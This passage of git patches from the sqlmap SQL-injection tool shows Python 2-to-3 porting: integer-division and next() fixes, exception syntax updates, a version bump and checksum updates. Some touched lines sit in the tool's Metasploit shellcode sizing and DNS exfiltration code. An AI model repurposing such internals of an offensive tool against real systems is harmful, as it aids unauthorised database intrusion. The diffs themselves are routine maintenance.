-db4dc98d03d1865cc6266a79cd5c81b7 lib/request/redirecthandler.py +921db487a5879b219af1216d7eaccf74 lib/request/redirecthandler.py 1e60edebdb3997055616d12f4a932375 lib/request/templates.py eafa28e4beb2b7492dfc8036033ac824 lib/takeover/abstraction.py ac9efea51eba120b667b4b73536d7f1c lib/takeover/icmpsh.py @@ -114,19 +114,19 @@ fb6be55d21a70765e35549af2484f762 lib/utils/__init__.py 833b05c72c9fa60b0a25b0a26f8f31fb lib/utils/pivotdumptable.py 5a8902fd6fa94ea73cf44952f9ed5a57 lib/utils/progress.py b79654e49850937ab2dc8e0d73625cab lib/utils/purge.py -081765fc1b3ad8a63f72e9c0e02ff00e lib/utils/search.py +503637fbdabaad5bc7f87dfcfbea4dd3 lib/utils/search.py 272a538a3d36186113191f4c543bb34b lib/utils/sqlalchemy.py 68f90f633d812ca428d2f15f016b2d96 lib/utils/timeout.py 164f830baad3e13b226ee57d44d69dfa lib/utils/versioncheck.py 1e5d24f1c629476bdf43363d2c8d8397 lib/utils/xrange.py -ab877805fe12bbcbb06b9eccfabdc4ed plugins/dbms/access/connector.py +b8656f4785d0945e68257107a171f945 plugins/dbms/access/connector.py b0e4f4aed8504f97d4044620d3a7d27d plugins/dbms/access/enumeration.py 58d664d680087596965f95b482157320 plugins/dbms/access/filesystem.py 50e2991ae3f0a1eaf49fd10dcd041d92 plugins/dbms/access/fingerprint.py bd8faded88ef80cde33b747d8181192d plugins/dbms/access/__init__.py f36a8b05ea1a25254e03dc3bd44b1261 plugins/dbms/access/syntax.py 1a4e639d2a946792401cf5367ef661a5 plugins/dbms/access/takeover.py -b4bf4ef5189705945ca77424a7f42ee7 plugins/dbms/db2/connector.py +8f30dffb6cc7738adb5e83c2c6efb30f plugins/dbms/db2/connector.py 0f2e682ced8f91b1ec8bdf08c925b5a4 plugins/dbms/db2/enumeration.py 1ac13df2e0f04f312f522e9d8c13b692 plugins/dbms/db2/filesystem.py e003fe19474305af522d8d6c6680db17 plugins/dbms/db2/fingerprint.py @@ -154,7 +154,7 @@ e4366df5a32c32f33be348e880714999 plugins/dbms/hsqldb/filesystem.py 5221fe018709e60663cae7c5d784ad60 plugins/dbms/hsqldb/__init__.py 5a1e5c46053ec1be5f536cec644949b5 plugins/dbms/hsqldb/syntax.py e77d9be343fe7820a594d7b02f8d0b55 plugins/dbms/hsqldb/takeover.py -e7293692829fbacb63cd9f353b719ea8 plugins/dbms/informix/connector.py +f2bf868a83538168a3384904e2264419 plugins/dbms/informix/connector.py 4af6786b459ddbb666c5c765bf2a1158 plugins/dbms/informix/enumeration.py 1ac13df2e0f04f312f522e9d8c13b692 plugins/dbms/informix/filesystem.py ed2bdb4eb574066521e88241a21f4bf7 plugins/dbms/informix/fingerprint.py @@ -169,42 +169,42 @@ ea186b97a394b61d82ecf7ed22b0cff6 plugins/dbms/maxdb/enumeration.py 8ad820fdfd2454363279eda7a9a08e6e plugins/dbms/maxdb/__init__.py 8fe248263926639acf41db3179db13d0 plugins/dbms/maxdb/syntax.py 479ce664674859d0e61c5221f9e835fd plugins/dbms/maxdb/takeover.py -1610a08c26895154287959193d8bd56f plugins/dbms/mssqlserver/connector.py +6ef95017815eb5d2d0f5645a6f5c7a79 plugins/dbms/mssqlserver/connector.py 69bfc53a409e79511802f668439bf4be plugins/dbms/mssqlserver/enumeration.py bb02bdf47c71ed93d28d20b98ea0f8c6 plugins/dbms/mssqlserver/filesystem.py bcabbf98e72bf3c6e971b56d8da60261 plugins/dbms/mssqlserver/fingerprint.py 6bffd484ef47111dd8a6e46e127ab5c7 plugins/dbms/mssqlserver/__init__.py fae49b96d1422171b8f8c79f42aa56c9 plugins/dbms/mssqlserver/syntax.py a5aa91bd7248d4f7ad508cf69f45696d plugins/dbms/mssqlserver/takeover.py -078a5399bd14d1416e2ae6fcd0445159 plugins/dbms/mysql/connector.py +dbd6121fcc92249ee0c023ee28e30274 plugins/dbms/mysql/connector.py a94bde2f4dcf3a5f166302d07ea32907 plugins/dbms/mysql/enumeration.py 81c762ceba0892d0d6d78d70f513d20a plugins/dbms/mysql/filesystem.py fd79ec2504b6bada7d2da233a549af53 plugins/dbms/mysql/fingerprint.py 040835bde6be85ebc1a6667dcd08940e plugins/dbms/mysql/__init__.py dd6bd1d3d561755b96e953ede16cb8fc plugins/dbms/mysql/syntax.py 6c91ef5b5a6cd29cef4bd9bc3c369454 plugins/dbms/mysql/takeover.py -6e6c992f7fff55a8aa79d14437c648e7 plugins/dbms/oracle/connector.py +82ed71cf0e9283859b61c88325255eb2 plugins/dbms/oracle/connector.py 3266e81eb4a3c083d27c7a255be38893 plugins/dbms/oracle/enumeration.py 5bdd5288c8303ea21a5f8409332e32a1 plugins/dbms/oracle/filesystem.py 8813f44f3b67fc98024199c7b8398811 plugins/dbms/oracle/fingerprint.py c7bb3f112aad2ea7ea92e036e9aab6a7 plugins/dbms/oracle/__init__.py 2676a1544b454f276c64f5147f03ce02 plugins/dbms/oracle/syntax.py 8da7c9ee0a0e692097757dfc2b5fefe0 plugins/dbms/oracle/takeover.py -e5e202429e9eee431c9dd39737b4b95c plugins/dbms/postgresql/connector.py +393a17dc8cb982ebb27665ead6b84bf1 plugins/dbms/postgresql/connector.py 86f0e0c9c4bc155c93277e879e3c3311 plugins/dbms/postgresql/enumeration.py d68b5a9d6e608f15fbe2c520613ece4a plugins/dbms/postgresql/filesystem.py 2af014c49f103cb27bc547cc12641e2b plugins/dbms/postgresql/fingerprint.py fb018fd23dcebdb36dddd22ac92efa2c plugins/dbms/postgresql/__init__.py 290ea28e1215565d9d12ede3422a4dcf plugins/dbms/postgresql/syntax.py 339bc65824b5c946ec40a12cd0257df1 plugins/dbms/postgresql/takeover.py -d2391dfe74f053eb5f31b0efad3fdda0 plugins/dbms/sqlite/connector.py +014968f7b28abe3ca8e533843a017453 plugins/dbms/sqlite/connector.py 6a0784e3ce46b6aa23dde813c6bc177f plugins/dbms/sqlite/enumeration.py 3c0adec05071fbe655a9c2c7afe52721 plugins/dbms/sqlite/filesystem.py 4d00b64bbfb2572a4a3a3330f255cc54 plugins/dbms/sqlite/fingerprint.py 582165c3e31ec5bf919db015c2e9bb2b plugins/dbms/sqlite/__init__.py 1ca5b1d7c64686827e80988933c397fa plugins/dbms/sqlite/syntax.py 224835bf71e99bac6e50b689afac5122 plugins/dbms/sqlite/takeover.py -492e2ad85f1a3a0feb2f010cb6c84eb1 plugins/dbms/sybase/connector.py +1f726d02ce4c709c0a3d327be947c72b plugins/dbms/sybase/connector.py 37a4e529dfb6bf3387c22e66cd9966f7 plugins/dbms/sybase/enumeration.py 9f16fb52a70e5fb01876f1bc5f5ef532 plugins/dbms/sybase/filesystem.py 69c104c5a2ff3e2c88a41205bb96d812 plugins/dbms/sybase/fingerprint.py From 2c270ed2504929fa0ee66c1b26d9484b1ab14f2b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Jan 2019 02:29:52 +0100 Subject: [PATCH 065/800] One more 2to3 baby step --- lib/core/bigarray.py | 4 ++-- lib/core/common.py | 4 ++-- lib/core/settings.py | 2 +- lib/takeover/metasploit.py | 2 +- lib/techniques/dns/use.py | 2 +- lib/techniques/error/use.py | 2 +- lib/techniques/union/test.py | 2 +- lib/utils/progress.py | 2 +- lib/utils/xrange.py | 2 +- txt/checksum.md5 | 18 +++++++++--------- 10 files changed, 20 insertions(+), 20 deletions(-) diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 318c3aba134..b09786210c0 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -148,7 +148,7 @@ def __getitem__(self, y): if y < 0: y += len(self) - index = y / self.chunk_length + index = y // self.chunk_length offset = y % self.chunk_length chunk = self.chunks[index] @@ -159,7 +159,7 @@ def __getitem__(self, y): return self.cache.data[offset] def __setitem__(self, y, value): - index = y / self.chunk_length + index = y // self.chunk_length offset = y % self.chunk_length chunk = self.chunks[index] diff --git a/lib/core/common.py b/lib/core/common.py index 298ae2117fc..321a34a52a4 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2129,7 +2129,7 @@ def average(values): 0.9 """ - return (sum(values) / len(values)) if values else None + return (1.0 * sum(values) / len(values)) if values else None @cachedmethod def stdev(values): @@ -3555,7 +3555,7 @@ def _(value): retVal = content.replace(payload, REFLECTED_VALUE_MARKER) # dummy approach if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs - regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS / 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS / 2:]))) + regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:]))) parts = filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX)) diff --git a/lib/core/settings.py b/lib/core/settings.py index 96fba4f31f9..0c6ad7fa525 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.63" +VERSION = "1.3.1.64" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index c248a714fa9..01a58ec4dfe 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -621,7 +621,7 @@ def createMsfShellcode(self, exitfunc, format, extra, encode): payloadSize = int(match.group(2)) if extra == "BufferRegister=EAX": - payloadSize = payloadSize / 2 + payloadSize = payloadSize // 2 debugMsg = "the shellcode size is %d bytes" % payloadSize logger.debug(debugMsg) diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 7a37736d99f..ae717aae5c1 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -57,7 +57,7 @@ def dnsUse(payload, expression): while True: count += 1 prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2)) - chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2 + chunk_length = MAX_DNS_LABEL // 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(fieldToCastStr), expression).group(0) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 8b878bc9a54..5cda7607a96 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -94,7 +94,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): candidate = len(result) - len(kb.chars.stop) current = candidate if candidate != current else current - 1 else: - current = current / 2 + current = current // 2 if kb.errorChunkLength: hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index e8bd84546c7..2144ab6a080 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -74,7 +74,7 @@ def _orderByTest(cols): highCols += ORDER_BY_STEP else: while not found: - mid = highCols - (highCols - lowCols) / 2 + mid = highCols - (highCols - lowCols) // 2 if _orderByTest(mid): lowCols = mid else: diff --git a/lib/utils/progress.py b/lib/utils/progress.py index 785f0d4d49d..e9a81847e13 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -29,7 +29,7 @@ def __init__(self, minValue=0, maxValue=10, totalWidth=None): def _convertSeconds(self, value): seconds = value - minutes = seconds / 60 + minutes = seconds // 60 seconds = seconds - (minutes * 60) return "%.2d:%.2d" % (minutes, seconds) diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index 5cac24310f2..119c2a39c22 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -58,7 +58,7 @@ def __len__(self): return self._len() def _len(self): - return max(0, int((self.stop - self.start) / self.step)) + return max(0, int((self.stop - self.start) // self.step)) def __contains__(self, value): return (self.start <= value < self.stop) and (value - self.start) % self.step == 0 diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 1b632cb39d8..f128520e491 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -28,8 +28,8 @@ c4d559a98cfc62b401ef7e0bfab782f0 lib/controller/controller.py c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py -44ac129c1b3b6130b4f1bc7b93036278 lib/core/bigarray.py -981783b71439d82e84b47fb9b9a88164 lib/core/common.py +a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py +39860dfb1d1afa51b7ed9d4ddfdb82cd lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py db60c6ebb63b72ed119e304b359fc1a6 lib/core/datatype.py @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -9adcbe4eb038933aa8f9ef13f288dde6 lib/core/settings.py +10790114fe549cd3e2eaf035e2594c95 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py @@ -85,7 +85,7 @@ ac482ec52227daf48f523827dd67078f lib/request/pkihandler.py eafa28e4beb2b7492dfc8036033ac824 lib/takeover/abstraction.py ac9efea51eba120b667b4b73536d7f1c lib/takeover/icmpsh.py fb6be55d21a70765e35549af2484f762 lib/takeover/__init__.py -838002e763b071ed6dc334cabf4fffd9 lib/takeover/metasploit.py +d55029a4c048e345fbb07a8f91604d83 lib/takeover/metasploit.py 6b5b841d445b7b973c2e033edfb01b16 lib/takeover/registry.py ad038ac567f97a4b940b7987792d64a4 lib/takeover/udf.py 915a3fbd557fb136bd0e16c46d993be3 lib/takeover/web.py @@ -94,12 +94,12 @@ ad038ac567f97a4b940b7987792d64a4 lib/takeover/udf.py fb6be55d21a70765e35549af2484f762 lib/techniques/blind/__init__.py fb6be55d21a70765e35549af2484f762 lib/techniques/dns/__init__.py ea48db4c48276d7d0e71aa467c0c523f lib/techniques/dns/test.py -437786cd2f9c3237614e3cac0220b2a6 lib/techniques/dns/use.py +13a80dfa26c53246d4a353c11c082d5d lib/techniques/dns/use.py fb6be55d21a70765e35549af2484f762 lib/techniques/error/__init__.py -2c945522ce05c2a1204d1563ae64eff2 lib/techniques/error/use.py +62d64b853bbc9353843376fff3a7f48d lib/techniques/error/use.py fb6be55d21a70765e35549af2484f762 lib/techniques/__init__.py fb6be55d21a70765e35549af2484f762 lib/techniques/union/__init__.py -baa3946c23749d898f473dba0f4eecff lib/techniques/union/test.py +9d9a6148f10693aaab5fac1273d981d4 lib/techniques/union/test.py d32988e13713417286ab83a00856858e lib/techniques/union/use.py 78cd3133349e9cfdcc6b3512c7d5ce36 lib/utils/api.py 544dee96e782560fe4355cbf6ee19b8c lib/utils/brute.py @@ -112,13 +112,13 @@ d11f7f208ccf3a7753ccc417b4b01901 lib/utils/hashdb.py 17009289bb5c0dc0cceaa483113101e1 lib/utils/htmlentities.py fb6be55d21a70765e35549af2484f762 lib/utils/__init__.py 833b05c72c9fa60b0a25b0a26f8f31fb lib/utils/pivotdumptable.py -5a8902fd6fa94ea73cf44952f9ed5a57 lib/utils/progress.py +25bbebf0178b106e83ca5e95b51b43f6 lib/utils/progress.py b79654e49850937ab2dc8e0d73625cab lib/utils/purge.py 503637fbdabaad5bc7f87dfcfbea4dd3 lib/utils/search.py 272a538a3d36186113191f4c543bb34b lib/utils/sqlalchemy.py 68f90f633d812ca428d2f15f016b2d96 lib/utils/timeout.py 164f830baad3e13b226ee57d44d69dfa lib/utils/versioncheck.py -1e5d24f1c629476bdf43363d2c8d8397 lib/utils/xrange.py +a5007113e3cda726e1d131b99b927284 lib/utils/xrange.py b8656f4785d0945e68257107a171f945 plugins/dbms/access/connector.py b0e4f4aed8504f97d4044620d3a7d27d plugins/dbms/access/enumeration.py 58d664d680087596965f95b482157320 plugins/dbms/access/filesystem.py From 1adc66b76375e9b08494ee2062ad536d8f159471 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Jan 2019 02:47:06 +0100 Subject: [PATCH 066/800] Dealing with deprecated next() --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- lib/core/wordlist.py | 4 ++-- lib/techniques/error/use.py | 2 +- lib/techniques/union/use.py | 2 +- thirdparty/beautifulsoup/beautifulsoup.py | 10 +++++----- thirdparty/gprof2dot/gprof2dot.py | 4 ++-- thirdparty/multipart/multipartpost.py | 2 +- thirdparty/odict/odict.py | 2 +- thirdparty/oset/_abc.py | 4 ++-- thirdparty/oset/pyoset.py | 2 +- thirdparty/xdot/xdot.py | 4 ++-- txt/checksum.md5 | 24 +++++++++++------------ 13 files changed, 32 insertions(+), 32 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 3e1270b13f0..92c0808d9c4 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -313,7 +313,7 @@ def _setRequestFromFile(): infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq logger.info(infoMsg) - target = parseRequestFile(conf.secondReq, False).next() + target = next(parseRequestFile(conf.secondReq, False)) kb.secondReq = target def _setCrawler(): diff --git a/lib/core/settings.py b/lib/core/settings.py index 0c6ad7fa525..abd9c220298 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.64" +VERSION = "1.3.1.65" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index 92cbef28cd3..373d1007969 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -68,7 +68,7 @@ def next(self): while True: self.counter += 1 try: - retVal = self.iter.next().rstrip() + retVal = next(self.iter).rstrip() except zipfile.error as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) @@ -76,7 +76,7 @@ def next(self): raise SqlmapInstallationException(errMsg) except StopIteration: self.adjust() - retVal = self.iter.next().rstrip() + retVal = next(self.iter).rstrip() if not self.proc_count or self.counter % self.proc_count == self.proc_id: break return retVal diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 5cda7607a96..5ffcff3d8a5 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -405,7 +405,7 @@ def errorThread(): with kb.locks.limit: try: threadData.shared.counter += 1 - num = threadData.shared.limits.next() + num = next(threadData.shared.limits) except StopIteration: break diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 163f6276188..7a8a24f9648 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -313,7 +313,7 @@ def unionThread(): with kb.locks.limit: try: threadData.shared.counter += 1 - num = threadData.shared.limits.next() + num = next(threadData.shared.limits) except StopIteration: break diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index c088fb0b3bd..4d280300ba2 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -370,7 +370,7 @@ def _findAll(self, name, attrs, text, limit, generator, **kwargs): g = generator() while True: try: - i = g.next() + i = next(g) except StopIteration: break if i: @@ -470,7 +470,7 @@ def __getattr__(self, attr): if attr == 'string': return self else: - raise AttributeError, "'%s' object has no attribute '%s'" % (self.__class__.__name__, attr) + raise AttributeError("'%s' object has no attribute '%s'" % (self.__class__.__name__, attr)) def __unicode__(self): return str(self).decode(DEFAULT_OUTPUT_ENCODING) @@ -668,7 +668,7 @@ def __getattr__(self, tag): return self.find(tag[:-3]) elif tag.find('__') != 0: return self.find(tag) - raise AttributeError, "'%s' object has no attribute '%s'" % (self.__class__, tag) + raise AttributeError("'%s' object has no attribute '%s'" % (self.__class__, tag)) def __eq__(self, other): """Returns true iff this tag has the same name, the same attributes, @@ -974,8 +974,8 @@ def search(self, markup): if self._matches(markup, self.text): found = markup else: - raise Exception, "I don't know how to match against a %s" \ - % markup.__class__ + raise Exception("I don't know how to match against a %s" \ + % markup.__class__) return found def _matches(self, markup, matchAgainst): diff --git a/thirdparty/gprof2dot/gprof2dot.py b/thirdparty/gprof2dot/gprof2dot.py index 49cdcfe7c62..b7116b7928d 100644 --- a/thirdparty/gprof2dot/gprof2dot.py +++ b/thirdparty/gprof2dot/gprof2dot.py @@ -732,7 +732,7 @@ def __init__(self, fp): self.consume() def consume(self): - self.token = self.tokenizer.next() + self.token = next(self.tokenizer) def match_element_start(self, name): return self.token.type == XML_ELEMENT_START and self.token.name_or_data == name @@ -1719,7 +1719,7 @@ def parse(self): lineterminator = '\r\n', quoting = csv.QUOTE_NONE) it = iter(reader) - row = reader.next() + row = next(reader) self.parse_header(row) for row in it: self.parse_row(row) diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py index 6d8eb87d613..aeeeadab832 100644 --- a/thirdparty/multipart/multipartpost.py +++ b/thirdparty/multipart/multipartpost.py @@ -59,7 +59,7 @@ def http_request(self, request): v_vars.append((key, value)) except TypeError: systype, value, traceback = sys.exc_info() - raise SqlmapDataException, "not a valid non-string sequence or mapping object", traceback + raise SqlmapDataException("not a valid non-string sequence or mapping object '%s'" % traceback) if len(v_files) == 0: data = urllib.urlencode(v_vars, doseq) diff --git a/thirdparty/odict/odict.py b/thirdparty/odict/odict.py index 9a712b048a2..9b7e9d7be27 100644 --- a/thirdparty/odict/odict.py +++ b/thirdparty/odict/odict.py @@ -609,7 +609,7 @@ def pop(self, key, *args): TypeError: pop expected at most 2 arguments, got 3 """ if len(args) > 1: - raise TypeError, ('pop expected at most 2 arguments, got %s' % + raise TypeError('pop expected at most 2 arguments, got %s' % (len(args) + 1)) if key in self: val = self[key] diff --git a/thirdparty/oset/_abc.py b/thirdparty/oset/_abc.py index d3cf1b51ef1..cf265cf0505 100644 --- a/thirdparty/oset/_abc.py +++ b/thirdparty/oset/_abc.py @@ -364,7 +364,7 @@ def pop(self): """Return the popped value. Raise KeyError if empty.""" it = iter(self) try: - value = it.next() + value = next(it) except StopIteration: raise KeyError self.discard(value) @@ -453,7 +453,7 @@ def __reversed__(self): def pop(self, last=True): if not self: raise KeyError('set is empty') - key = reversed(self).next() if last else iter(self).next() + key = next(reversed(self)) if last else next(iter(self)) self.discard(key) return key diff --git a/thirdparty/oset/pyoset.py b/thirdparty/oset/pyoset.py index 2a67455bc22..223c92a44d7 100644 --- a/thirdparty/oset/pyoset.py +++ b/thirdparty/oset/pyoset.py @@ -62,7 +62,7 @@ def __reversed__(self): def pop(self, last=True): if not self: raise KeyError('set is empty') - key = reversed(self).next() if last else iter(self).next() + key = next(reversed(self)) if last else next(iter(self)) self.discard(key) return key diff --git a/thirdparty/xdot/xdot.py b/thirdparty/xdot/xdot.py index 2d1a34d5738..4cb0004b9e3 100644 --- a/thirdparty/xdot/xdot.py +++ b/thirdparty/xdot/xdot.py @@ -897,7 +897,7 @@ class Parser: def __init__(self, lexer): self.lexer = lexer - self.lookahead = self.lexer.next() + self.lookahead = next(self.lexer) def match(self, type): if self.lookahead.type != type: @@ -913,7 +913,7 @@ def skip(self, type): def consume(self): token = self.lookahead - self.lookahead = self.lexer.next() + self.lookahead = next(self.lexer) return token diff --git a/txt/checksum.md5 b/txt/checksum.md5 index f128520e491..ce53052b88d 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -42,14 +42,14 @@ fd5403505f76eee6829c06b9342e269c lib/core/dump.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py fa9f24e88c81a6cef52da3dd5e637010 lib/core/optiondict.py -3c5c2c63e67b40ca8ae9b1ffa8d7f77d lib/core/option.py +bf83a5194e5490273a64a35ae5eacf69 lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4cfda3735871cd59b213470a0bbc8c3a lib/core/profiling.py 5e2c16a8e2daee22dd545df13386e7a3 lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -10790114fe549cd3e2eaf035e2594c95 lib/core/settings.py +931c1e5b6236016d536eb6f70a4a669e lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py @@ -57,7 +57,7 @@ d6269c55789f78cf707e09a0f5b45443 lib/core/session.py 203d2082929b4ac5454605c8c7c800a9 lib/core/threads.py 2c263c8610667fdc593c50a35ab20f57 lib/core/unescaper.py ff45c74515fecc95277f7b9ad945f17c lib/core/update.py -b40f4c20a38729bb4933b8221665f106 lib/core/wordlist.py +5b3f08208be0579356f78ce5805d37b2 lib/core/wordlist.py fb6be55d21a70765e35549af2484f762 lib/__init__.py 4881480d0c1778053908904e04570dc3 lib/parse/banner.py 87a1d50411e74cd0afb2d1bed30f59d4 lib/parse/cmdline.py @@ -96,11 +96,11 @@ fb6be55d21a70765e35549af2484f762 lib/techniques/dns/__init__.py ea48db4c48276d7d0e71aa467c0c523f lib/techniques/dns/test.py 13a80dfa26c53246d4a353c11c082d5d lib/techniques/dns/use.py fb6be55d21a70765e35549af2484f762 lib/techniques/error/__init__.py -62d64b853bbc9353843376fff3a7f48d lib/techniques/error/use.py +7b58029a51b9bf989d18e5bb6e99635c lib/techniques/error/use.py fb6be55d21a70765e35549af2484f762 lib/techniques/__init__.py fb6be55d21a70765e35549af2484f762 lib/techniques/union/__init__.py 9d9a6148f10693aaab5fac1273d981d4 lib/techniques/union/test.py -d32988e13713417286ab83a00856858e lib/techniques/union/use.py +e141fb96f2a136bafd6bb2350f02d33b lib/techniques/union/use.py 78cd3133349e9cfdcc6b3512c7d5ce36 lib/utils/api.py 544dee96e782560fe4355cbf6ee19b8c lib/utils/brute.py b27421eb57cea711050135f84be99258 lib/utils/crawler.py @@ -294,7 +294,7 @@ fc571c746951a5306591e04f70ddc46e tamper/versionedmorekeywords.py d39ce1f99e268dc7f92b602656f49461 tamper/xforwardedfor.py b1c02296b4e3b0ebaa58b9dcd914cbf4 thirdparty/ansistrm/ansistrm.py d41d8cd98f00b204e9800998ecf8427e thirdparty/ansistrm/__init__.py -8e775c25bc9e84891ad6fcb4f0005c23 thirdparty/beautifulsoup/beautifulsoup.py +4dd01a6ac22e44e445330500e2a7fb1a thirdparty/beautifulsoup/beautifulsoup.py cb2e1fe7c404dff41a2ae9132828f532 thirdparty/beautifulsoup/__init__.py ff54a1d98f0ab01ba7b58b068d2ebd26 thirdparty/bottle/bottle.py 4528e6a7bb9341c36c425faf40ef32c3 thirdparty/bottle/__init__.py @@ -346,7 +346,7 @@ ad3d022d4591aee80f7391248d722413 thirdparty/colorama/win32.py cdd682cbf77137ef4253b77a95ed9bd8 thirdparty/colorama/winterm.py be7eac2e6cfb45c5e297ec5eee66e747 thirdparty/fcrypt/fcrypt.py e00542d22ffa8d8ac894c210f38454be thirdparty/fcrypt/__init__.py -2f94ddd6ada38e4091e819568e7c4b7c thirdparty/gprof2dot/gprof2dot.py +f495039e29b2ebe431fa0a31d3c564fa thirdparty/gprof2dot/gprof2dot.py 855372c870a23d46683f8aa39d75f6a1 thirdparty/gprof2dot/__init__.py d41d8cd98f00b204e9800998ecf8427e thirdparty/__init__.py e3b18f925d125bd17c7e7a7ec0b4b85f thirdparty/keepalive/__init__.py @@ -354,12 +354,12 @@ e0c6a936506bffeed53ce106ec15942d thirdparty/keepalive/keepalive.py d41d8cd98f00b204e9800998ecf8427e thirdparty/magic/__init__.py bf318e0abbe6b2e1a167a233db7f744f thirdparty/magic/magic.py d41d8cd98f00b204e9800998ecf8427e thirdparty/multipart/__init__.py -03c8abc17b228e59bcfda1f11a9137e0 thirdparty/multipart/multipartpost.py +82432cb4ef575aa16900ba221cc1dc98 thirdparty/multipart/multipartpost.py 3e502b04f3849afbb7f0e13b5fd2b5c1 thirdparty/odict/__init__.py -127fe54fdb9b13fdac93c8fc9c9cad5e thirdparty/odict/odict.py -08801ea0ba9ae22885275ef65d3ee9dc thirdparty/oset/_abc.py 